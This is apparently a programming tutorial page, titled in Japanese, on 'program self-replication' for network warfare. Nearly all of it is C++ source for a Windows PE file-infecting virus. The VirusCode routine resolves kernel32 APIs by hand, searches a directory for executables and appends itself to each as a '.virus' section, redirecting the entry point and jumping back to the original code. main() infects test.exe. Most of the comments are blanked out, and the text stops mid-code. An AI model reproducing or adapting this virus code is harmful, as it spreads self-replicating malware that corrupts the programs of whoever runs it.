visual c++に基づくwindowsコアプログラミングコード分析(65)プログラム自己複製を実現
私たちが情報セキュリティとネットワーク戦のプログラミングを行うとき、プログラムの自己複製を実現する必要があります.
プログラムの自己複製をどのように実現するか、
コードを参照
プログラムの自己複製をどのように実現するか、
コードを参照
#include <iostream.h>
#include <windows.h>
#include <stdio.h>
//////////////////////////////////////////////////////////////////////////
//*******************************************************************
//******* *******
//******* API
//*******
//*******************************************************************
//////////////////////////////////////////////////////////////////////////
void VirusCode()
{
//////////////////////////////////////////////////////////////////////////
// ******* *******
// ******* *******
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
// ******* *******
// **dwCodeBegin :
// **dwCodeEnd :
// **dwMyCodeAddr :
//////////////////////////////////////////////////////////////////////////
DWORD dwCodeBegin , dwCodeEnd , dwMyCodeAddr;
// ******* *******
PBYTE pMove = NULL;
// ******* *******
_asm
{
call A
A:
pop eax
mov dwMyCodeAddr , eax
}
// ******* *******
pMove = (PBYTE)dwMyCodeAddr;
// ******* *******
while(!((*pMove == 0x55) && (*(pMove + 1) == 0x8B)))
{
pMove --;
}
// ******* pMove push ebp *******
dwCodeBegin = (DWORD)pMove;
//cout << " :" << hex << dwCodeBegin << endl;
// ******* *******
pMove = (PBYTE)dwMyCodeAddr;
while (!((*(pMove + 1) == 0x5B) && (*pMove == 0x5E) && (*(pMove - 1) == 0x5F)
&& (*(pMove + 2) == 0x8B) && (*(pMove + 3) == 0xE5)))
{
pMove ++;
}
pMove += 9;
// ******* pMove ret pop ebp *******
dwCodeEnd = (DWORD)pMove;
DWORD dwFunCodeLen;
dwFunCodeLen = dwCodeEnd - dwCodeBegin;
//////////////////////////////////////////////////////////////////////////
// ******* *******
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
// ******* API
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
// ******* *******
char GetProcAddrName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'};
char LoadLibName[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'};
DWORD KernelBase;
// ******* , *******
_asm
{
mov eax , [ebp+4]
mov KernelBase,eax
}
//////////////////////////////////////////////////////////////////////////
// ******* Kernel32.dll *******
//////////////////////////////////////////////////////////////////////////
KernelBase = KernelBase & 0Xffff0000;
// ******* kernel32.dll *******
IMAGE_DOS_HEADER *doshead;
while(KernelBase >= 0X70000000)
{
// ******* dos *******
doshead = (IMAGE_DOS_HEADER*)KernelBase;
if(doshead->e_magic == IMAGE_DOS_SIGNATURE)
{
// ******* NT *******
IMAGE_NT_HEADERS* nthead;
nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew);
if(nthead->Signature == IMAGE_NT_SIGNATURE)
{
break;
}
}
KernelBase-=0x10000;
}
//////////////////////////////////////////////////////////////////////////
// ******* kernel32.dll GetProcAddress *******
//////////////////////////////////////////////////////////////////////////
DWORD AddrOfGetProcAddr , AddrOfLoadLib;
IMAGE_DOS_HEADER* pFile1; // dos
IMAGE_NT_HEADERS* pFile2; // nt
// ******* *******
pFile1 = (IMAGE_DOS_HEADER* )KernelBase;
if(pFile1->e_magic != IMAGE_DOS_SIGNATURE)
{
return;
}
pFile2 = (IMAGE_NT_HEADERS*)((PBYTE)pFile1 + pFile1->e_lfanew);
if(pFile2->Signature != IMAGE_NT_SIGNATURE)
{
return;
}
IMAGE_EXPORT_DIRECTORY *pExport;
pExport = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)pFile1 + pFile2->OptionalHeader.DataDirectory[0].VirtualAddress);
// ******* "GetProcAddress" *******
char *FunName;
DWORD *AddrOfNameRVA;
WORD *AddrOfNameOrRVA;
AddrOfNameRVA = (DWORD*)(KernelBase + pExport->AddressOfNames);
for (int i = 0 ; i < (int)pExport->NumberOfNames ; i++)
{
FunName = (char*)(KernelBase + AddrOfNameRVA[i]);
// ******* "GetProcAddress" *******
BOOL eql = 1;
for (int j = 0 ; j < 15 ; j ++)
{
if (GetProcAddrName[j] != FunName[j])
{
eql = 0;
break;
}
}
// ******* , *******
if (eql)
{
AddrOfNameOrRVA = (WORD*)(KernelBase + pExport->AddressOfNameOrdinals);
int num = 0;
num = pExport->Base + AddrOfNameOrRVA[i];
DWORD *AddrOfFun;
AddrOfFun = (DWORD*)(KernelBase + pExport->AddressOfFunctions);
AddrOfGetProcAddr = KernelBase + AddrOfFun[num - 1];
break;
}
}
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
// ******* API *******
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
// ******* GetProcAddress *******
typedef DWORD (WINAPI *stGetProcAddress)(HMODULE , LPCSTR);
// ******* LoadLibraryA *******
typedef DWORD (WINAPI *stLoadLibrary)(LPCSTR);
// ******* GetProcAddress LoadLibrary *******
// ******* GetProcAddress *******
stGetProcAddress myGetProcAddress;
// ******* *******
myGetProcAddress = (stGetProcAddress)AddrOfGetProcAddr;
// ******* GetProcAddress*******
AddrOfLoadLib = myGetProcAddress((HMODULE)KernelBase , LoadLibName);
// ******* LoadLibrary *******
stLoadLibrary myLoadLibrary;
// ******* *******
myLoadLibrary = (stLoadLibrary)AddrOfLoadLib;
char User32Name[] = {'u','s','e','r','3','2','.','d','l','l','\0'};
DWORD User32Base; // user32.dll
// ******* user32.dll *******
User32Base = myLoadLibrary(User32Name);
//////////////////////////////////////////////////////////////////////////
// ***** CreateFile *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef HANDLE (WINAPI *stCreateFile)(LPCTSTR , DWORD , DWORD , LPSECURITY_ATTRIBUTES ,
DWORD , DWORD , HANDLE);
// ***** *****
stCreateFile myCreateFile;
// ***** *****
char CreateFileName[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'};
// ***** *****
myCreateFile = (stCreateFile)myGetProcAddress((HMODULE)KernelBase , CreateFileName);
//////////////////////////////////////////////////////////////////////////
// ***** CreateFileMapping *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef HANDLE (WINAPI *stCreateFileMapping)(HANDLE , LPSECURITY_ATTRIBUTES ,
DWORD , DWORD , DWORD , LPCTSTR );
// ***** *****
stCreateFileMapping myCreateFileMapping;
// ***** *****
char CreateFileMappingName[] = {'C','r','e','a','t','e','F','i','l','e',
'M','a','p','p','i','n','g','A','\0'};
// ***** *****
myCreateFileMapping = (stCreateFileMapping)myGetProcAddress((HMODULE)KernelBase ,
CreateFileMappingName);
//////////////////////////////////////////////////////////////////////////
// ***** MapViewOfFile *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef LPVOID (WINAPI *stMapViewOfFile)(HANDLE , DWORD , DWORD , DWORD , DWORD);
// ***** *****
stMapViewOfFile myMapViewOfFile;
// ***** *****
char MapViewOfFileName[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e','\0'};
// ***** *****
myMapViewOfFile = (stMapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,
MapViewOfFileName);
//////////////////////////////////////////////////////////////////////////
// ***** GlobalAlloc *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef HGLOBAL (WINAPI *stGlobalAlloc)(UINT , SIZE_T);
// ***** *****
stGlobalAlloc myGlobalAlloc;
// ***** *****
char GlobalAllocName[] = {'G','l','o','b','a','l','A','l','l','o','c','\0'};
// ***** *****
myGlobalAlloc = (stGlobalAlloc)myGetProcAddress((HMODULE)KernelBase ,
GlobalAllocName);
//////////////////////////////////////////////////////////////////////////
// ***** RtlMoveMemory *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef void (WINAPI *stRtlMoveMemory)(PVOID , const VOID* , SIZE_T );
// ***** *****
stRtlMoveMemory myRtlMoveMemory;
// ***** *****
char RtlMoveMemoryName[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\0'};
// ***** *****
myRtlMoveMemory = (stRtlMoveMemory)myGetProcAddress((HMODULE)KernelBase ,
RtlMoveMemoryName);
//////////////////////////////////////////////////////////////////////////
// ***** SetFilePointer *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef DWORD (WINAPI *stSetFilePointer)(HANDLE , LONG , PLONG , DWORD);
// ***** *****
stSetFilePointer mySetFilePointer;
// ***** *****
char SetFilePointerName[] = {'S','e','t','F','i','l','e','P','o','i','n','t','e','r','\0'};
// ***** *****
mySetFilePointer = (stSetFilePointer)myGetProcAddress((HMODULE)KernelBase ,
SetFilePointerName);
//////////////////////////////////////////////////////////////////////////
// ***** WriteFile *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef BOOL (WINAPI *stWriteFile)(HANDLE , LPCVOID , DWORD , LPDWORD , LPOVERLAPPED);
// ***** *****
stWriteFile myWriteFile;
// ***** *****
char WriteFileName[] = {'W','r','i','t','e','F','i','l','e','\0'};
// ***** *****
myWriteFile = (stWriteFile)myGetProcAddress((HMODULE)KernelBase ,
WriteFileName);
//////////////////////////////////////////////////////////////////////////
// ***** SetEndOfFile *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef BOOL (WINAPI *stSetEndOfFile)(HANDLE);
// ***** *****
stSetEndOfFile mySetEndOfFile;
// ***** *****
char SetEndOfFileName[] = {'S','e','t','E','n','d','O','f','F','i','l','e','\0'};
// ***** *****
mySetEndOfFile = (stSetEndOfFile)myGetProcAddress((HMODULE)KernelBase ,
SetEndOfFileName);
//////////////////////////////////////////////////////////////////////////
// ***** CloseHandle *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef BOOL (WINAPI *stCloseHandle)(HANDLE);
// ***** *****
stCloseHandle myCloseHandle;
// ***** *****
char CloseHandleName[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
// ***** *****
myCloseHandle = (stCloseHandle)myGetProcAddress((HMODULE)KernelBase ,
CloseHandleName);
//////////////////////////////////////////////////////////////////////////
// ***** UnmapViewOfFile *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef BOOL (WINAPI *stUnmapViewOfFile)(LPCVOID);
// ***** *****
stUnmapViewOfFile myUnmapViewOfFile;
// ***** *****
char UnmapViewOfFileName[] = {'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e','\0'};
// ***** *****
myUnmapViewOfFile = (stUnmapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,
UnmapViewOfFileName);
//////////////////////////////////////////////////////////////////////////
// ***** FindFirstFile *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef HANDLE (WINAPI *stFindFirstFile)(LPCTSTR , LPWIN32_FIND_DATA);
// ***** *****
stFindFirstFile myFindFirstFile;
// ***** *****
char FindFirstFileName[] = {'F','i','n','d','F','i','r','s','t','F','i','l','e','A','\0'};
// ***** *****
myFindFirstFile = (stFindFirstFile)myGetProcAddress((HMODULE)KernelBase ,
FindFirstFileName);
//////////////////////////////////////////////////////////////////////////
// ***** CopyFile *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef BOOL (WINAPI *stCopyFile)(LPCTSTR , LPCTSTR , BOOL);
// ***** *****
stCopyFile myCopyFile;
// ***** *****
char CopyFileName[] = {'C','o','p','y','F','i','l','e','A','\0'};
// ***** *****
myCopyFile = (stCopyFile)myGetProcAddress((HMODULE)KernelBase ,
CopyFileName);
//////////////////////////////////////////////////////////////////////////
// ***** FindNextFile *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef BOOL (WINAPI *stFindNextFile)(HANDLE , LPWIN32_FIND_DATA);
// ***** *****
stFindNextFile myFindNextFile;
// ***** *****
char FindNextFileName[] = {'F','i','n','d','N','e','x','t','F','i','l','e','A','\0'};
// ***** *****
myFindNextFile = (stFindNextFile)myGetProcAddress((HMODULE)KernelBase ,
FindNextFileName);
//////////////////////////////////////////////////////////////////////////
// ***** FindClose *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef BOOL (WINAPI *stFindClose)(HANDLE);
// ***** *****
stFindClose myFindClose;
// ***** *****
char FindCloseName[] = {'F','i','n','d','C','l','o','s','e','\0'};
// ***** *****
myFindClose = (stFindClose)myGetProcAddress((HMODULE)KernelBase ,
FindCloseName);
//////////////////////////////////////////////////////////////////////////
// ***** lstrcat *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef LPTSTR (WINAPI *stlstrcat)(LPTSTR , LPTSTR);
// ***** *****
stlstrcat mylstrcat;
// ***** *****
char lstrcatName[] = {'l','s','t','r','c','a','t','\0'};
// ***** *****
mylstrcat = (stlstrcat)myGetProcAddress((HMODULE)KernelBase ,
lstrcatName);
//////////////////////////////////////////////////////////////////////////
// ***** lstrcpy *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef LPTSTR (WINAPI *stlstrcpy)(LPTSTR , LPTSTR);
// ***** *****
stlstrcpy mylstrcpy;
// ***** *****
char lstrcpyName[] = {'l','s','t','r','c','p','y','\0'};
// ***** *****
mylstrcpy = (stlstrcpy)myGetProcAddress((HMODULE)KernelBase ,
lstrcpyName);
//////////////////////////////////////////////////////////////////////////
// ***** lstrlen *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef int (WINAPI *stlstrlen)(LPCTSTR);
// ***** *****
stlstrlen mylstrlen;
// ***** *****
char lstrlenName[] = {'l','s','t','r','l','e','n','\0'};
// ***** *****
mylstrlen = (stlstrlen)myGetProcAddress((HMODULE)KernelBase ,
lstrlenName);
//////////////////////////////////////////////////////////////////////////
// ***** RtlZeroMemory *****
//////////////////////////////////////////////////////////////////////////
// ***** *****
typedef void (WINAPI *stRtlZeroMemory)(PVOID , SIZE_T);
// ***** *****
stRtlZeroMemory myRtlZeroMemory;
// ***** *****
char RtlZeroMemoryName[] = {'R','t','l','Z','e','r','o','M','e','m','o','r','y','\0'};
// ***** *****
myRtlZeroMemory = (stRtlZeroMemory)myGetProcAddress((HMODULE)KernelBase ,
RtlZeroMemoryName);
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
// ******* API*******
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
// ******* *******
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
// ******* *******
char SourceDirFilter[] = {'D',':','\\','s','o','u','r','c','e','\\','*','.','e','x','e','\0'};
// ******* *******
char SourceDir[] = {'D',':','\\','s','o','u','r','c','e','\\','\0'};
// ******* *******
char DestDir[] = {'D',':','\\','d','e','s','t','i','n','a','\\','\0'};
WIN32_FIND_DATA findBuf;
// ******* *******
HANDLE hFileFind = myFindFirstFile(SourceDirFilter , &findBuf);
// ******* , + *******
char *SourDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH);
// ******* , + *******
char *DestDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH);
// ******* *******
do
{
// ******* *******
myRtlZeroMemory(SourDirNameBuf , MAX_PATH);
myRtlZeroMemory(DestDirNameBuf , MAX_PATH);
// ******* *******
mylstrcpy(SourDirNameBuf , SourceDir);
// ******* *******
mylstrcat(SourDirNameBuf , findBuf.cFileName);
// ******* *******
mylstrcpy(DestDirNameBuf , DestDir);
// ******* *******
mylstrcat(DestDirNameBuf , findBuf.cFileName);
//////////////////////////////////////////////////////////////////////////
// ******* *******
//////////////////////////////////////////////////////////////////////////
HANDLE hFile , hMapFile;
LPVOID pMapOfFile = NULL;
char SecName[] = {'.','v','i','r','u','s','\0'}; //
//////////////////////////////////////////////////////////////////////////
//******* *******
//////////////////////////////////////////////////////////////////////////
// ******* *******
hFile = myCreateFile(SourDirNameBuf , GENERIC_READ , FILE_SHARE_READ |
FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
if (INVALID_HANDLE_VALUE == hFile)
{
goto TheNextFile;
}
// ******* *******
hMapFile = myCreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);
if (!hMapFile)
{
goto CLOSEFILEHANDLE;
}
// ******* *******
pMapOfFile = myMapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);
if (!pMapOfFile)
{
goto CLOSEMAPHANDLE;
}
IMAGE_DOS_HEADER *pDosHeader;
// ******** DOS *******
pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
goto FreeViewOfMap;
}
IMAGE_NT_HEADERS *pNtHeader;
// ******* NT *******
pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);
if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
goto FreeViewOfMap;
}
//////////////////////////////////////////////////////////////////////////
// ******* *******
//////////////////////////////////////////////////////////////////////////
// ******* *******
int SecNum;
SecNum = pNtHeader->FileHeader.NumberOfSections;
// ******* *******
IMAGE_SECTION_HEADER *pSecHeader;
pSecHeader = (IMAGE_SECTION_HEADER*)((PBYTE)pNtHeader + 248);
int i ;
// ******* , virus *******
for (i = 0 ; i < SecNum ; i ++)
{
char *SecNameAddr = (char*)pSecHeader->Name;
if ((SecNameAddr[0] == '.') && (SecNameAddr[1] == 'v') &&
(SecNameAddr[2] == 'i') && (SecNameAddr[3] == 'r') &&
(SecNameAddr[4] == 'u') && (SecNameAddr[5] == 's'))
{
// ******* *******
goto FreeViewOfMap;
}
// ******* *******
pSecHeader ++;
}
//////////////////////////////////////////////////////////////////////////
//******* *******
//////////////////////////////////////////////////////////////////////////
BOOL bCopy;
// ******* *******
bCopy = myCopyFile(SourDirNameBuf , DestDirNameBuf , FALSE);
if (!bCopy)
{
goto FreeViewOfMap;
}
HANDLE hNewFile;
// ******* *******
hNewFile = myCreateFile(DestDirNameBuf , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ
| FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
if (!hNewFile)
{
goto FreeViewOfMap;
}
HGLOBAL pNewFileHeader;
// ******* , *******
pNewFileHeader = myGlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);
if (!pNewFileHeader)
{
goto CloseNewFileHandle;
}
// ******* *******
myRtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);
// ******* NT *******
IMAGE_NT_HEADERS *pNewFileNtHeader;
pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);
//////////////////////////////////////////////////////////////////////////
//******* *******
//*******pMapOfFile :
//*******pDosHeader : DOS , ,
//*******pNTHeader : NT
//*******pNewFileHeader :
//*******pNewFileNtHeader : NT
//////////////////////////////////////////////////////////////////////////
//****************************************************************
//******* *******
//****************************************************************
int nSecNum;
nSecNum = pNtHeader->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER *pLastSec , *pNewSec;
// ******* *******
pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));
// *******pNewSec , *******
pNewSec = pLastSec + 1;
//******* *******
//***** 1*****
pNewFileNtHeader->FileHeader.NumberOfSections ++;
//***** *****
pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;
//***** *****
int nAlignNum;
nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
{
nAlignNum++;
}
pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;
//***** *****
nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
{
nAlignNum ++;
}
pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum *
pNewFileNtHeader->OptionalHeader.SectionAlignment;
//***** *****
pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum *
pNewFileNtHeader->OptionalHeader.SectionAlignment;
//***** *****
//***** *****
nAlignNum = pLastSec->Misc.VirtualSize /
pNewFileNtHeader->OptionalHeader.SectionAlignment;
if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
{
nAlignNum ++;
}
pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment
+ pLastSec->VirtualAddress;
//***** *****
pNewSec->Misc.VirtualSize = dwFunCodeLen;
//***** *****
pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |
IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
//***** *****
mylstrcpy((char*)pNewSec->Name , SecName);
//***** *****
pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;
BOOL bWrite;
DWORD dwHeaderSize , dwWriten;
dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
bWrite = myWriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize ,
&dwWriten , NULL);
//////////////////////////////////////////////////////////////////////////
//***** *****
//////////////////////////////////////////////////////////////////////////
DWORD dwSetFileP;
//***** *****
dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
if (!dwSetFileP)
{
goto CloseNewFileHandle;
}
//***** *****
bWrite = myWriteFile(hNewFile , (LPVOID)dwCodeBegin , dwFunCodeLen , &dwWriten , NULL);
if (!bWrite)
{
goto CloseNewFileHandle;
}
//***** *****
dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData +
pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
if (!dwSetFileP)
{
goto CloseNewFileHandle;
}
//***** *****
if (!mySetEndOfFile(hNewFile))
{
goto CloseNewFileHandle;
}
//////////////////////////////////////////////////////////////////////////
//******* *******
//////////////////////////////////////////////////////////////////////////
PBYTE pModifyAddr;
pModifyAddr = (PBYTE)pNewSec->VirtualAddress;
pModifyAddr += dwFunCodeLen;
int nSub; //
nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;
DWORD dwModifyLoca;
dwModifyLoca = pNewSec->PointerToRawData;
dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
// ***** *****
dwSetFileP = mySetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);
if (!dwSetFileP)
{
goto CloseNewFileHandle;
}
//***** jmp *****
BYTE bJmp;
bJmp = 0XE9;
bWrite = myWriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);
if (!bWrite)
{
goto CloseNewFileHandle;
}
//***** *****
bWrite = myWriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);
if (!bWrite)
{
goto CloseNewFileHandle;
}
//////////////////////////////////////////////////////////////////////////
//******* *******
//////////////////////////////////////////////////////////////////////////
CloseNewFileHandle:
myCloseHandle(hNewFile);
FreeViewOfMap:
myUnmapViewOfFile(pMapOfFile);
CLOSEMAPHANDLE:
myCloseHandle(hMapFile);
CLOSEFILEHANDLE:
myCloseHandle(hFile);
TheNextFile:
;
} while (myFindNextFile(hFileFind , &findBuf));
myFindClose(hFileFind);
return;
}
//////////////////////////////////////////////////////////////////////////
//*******************************************************************
//******* *******
//*******************************************************************
//////////////////////////////////////////////////////////////////////////
void main()
{
//*******************************************************************
//******* , , *******
//*******************************************************************
/////////////////////////////////////////////////////////////////
// ******* *******
// **dwFunBegAddr :
// **dwFunEndAddr :
// **dwFunCodeLen :
// **dwJmpOff : jmp
// **pMove :
/////////////////////////////////////////////////////////////////
DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen;
PBYTE pMove = NULL;
// ******* jmp *******
pMove = (PBYTE)VirusCode;
cout << " jmp :" << (PVOID)pMove << endl;
// ******* jmp *******
pMove ++;
// ******* *******
dwJmpOff = *((PDWORD)pMove);
// *******jmp (code + 5)+ *******
dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff;
cout << " jmp :" <<(PVOID)dwJmpOff << endl;
cout << " :" << (PVOID)dwFunBegAddr << endl;
// ******* *******
// ******* *******
pMove = (PBYTE)dwFunBegAddr;
// ******* , *******
while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5)))
{
pMove ++;
}
// ******* pMove ret *******
// *******pMove 5 , jmp *******
pMove +=5;
dwFunEndAddr = (DWORD)pMove;
cout << " :" << (PVOID)dwFunEndAddr << endl;
// ******* , *******
dwFunCodeLen = dwFunEndAddr - dwFunBegAddr;
cout << " :" << (int)dwFunCodeLen << endl;
//*******************************************************************
//******* exe *******
//*******************************************************************
HANDLE hFile , hMapFile;
LPVOID pMapOfFile = NULL;
//*******************************************************************
//******* *******
//*******************************************************************
// ******* *******
hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ |
FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
if (INVALID_HANDLE_VALUE == hFile)
{
cout << "CreateFile Error!" << endl;
return;
}
// ******* *******
hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);
if (!hMapFile)
{
cout << "CreateFileMapping Error!" << endl;
goto CLOSEFILEHANDLE;
}
// ******* *******
pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);
if (!pMapOfFile)
{
cout << "MapViewOfFile Error!" << endl;
goto CLOSEMAPHANDLE;
}
IMAGE_DOS_HEADER *pDosHeader;
// ******** DOS *******
pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
cout << "Check Dos Header Error!" << endl;
goto FreeViewOfMap;
}
IMAGE_NT_HEADERS *pNtHeader;
// ******* NT *******
pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);
if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
cout << "Check NT Header Error!" << endl;
goto FreeViewOfMap;
}
//***************************************************************
//******* *******
//***************************************************************
BOOL bCopy;
// ******* *******
bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE);
if (!bCopy)
{
cout << "CopyFile Error!" << endl;
}
HANDLE hNewFile;
// ******* *******
hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ
| FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
if (!hNewFile)
{
cout << "CreateFile Error!" << endl;
goto FreeViewOfMap;
}
HGLOBAL pNewFileHeader;
// ******* , *******
pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);
if (!pNewFileHeader)
{
cout << "GlobalAlloc Error!" << endl;
goto CloseNewFileHandle;
}
// ******* *******
RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);
IMAGE_NT_HEADERS *pNewFileNtHeader;
pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);
//////////////////////////////////////////////////////////////////////////
//******* *******
//*******pMapOfFile :
//*******pDosHeader : DOS ,
//*******pNTHeader : NT
//*******pNewFileHeader :
//*******pNewFileNtHeader : NT
//////////////////////////////////////////////////////////////////////////
//****************************************************************
//******* *******
//****************************************************************
int nSecNum;
nSecNum = pNtHeader->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER *pLastSec , *pNewSec;
// ******* *******
pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));
// *******pNewSec , *******
pNewSec = pLastSec + 1;
//******* *******
//***** 1*****
pNewFileNtHeader->FileHeader.NumberOfSections ++;
//***** *****
pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;
//***** *****
int nAlignNum;
nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
{
nAlignNum++;
}
pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;
//***** *****
nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
{
nAlignNum ++;
}
pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum *
pNewFileNtHeader->OptionalHeader.SectionAlignment;
//***** *****
pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum *
pNewFileNtHeader->OptionalHeader.SectionAlignment;
//***** *****
//***** *****
nAlignNum = pLastSec->Misc.VirtualSize /
pNewFileNtHeader->OptionalHeader.SectionAlignment;
if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
{
nAlignNum ++;
}
pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment +
pLastSec->VirtualAddress;
//***** *****
pNewSec->Misc.VirtualSize = dwFunCodeLen;
//***** *****
pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |
IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
//***** *****
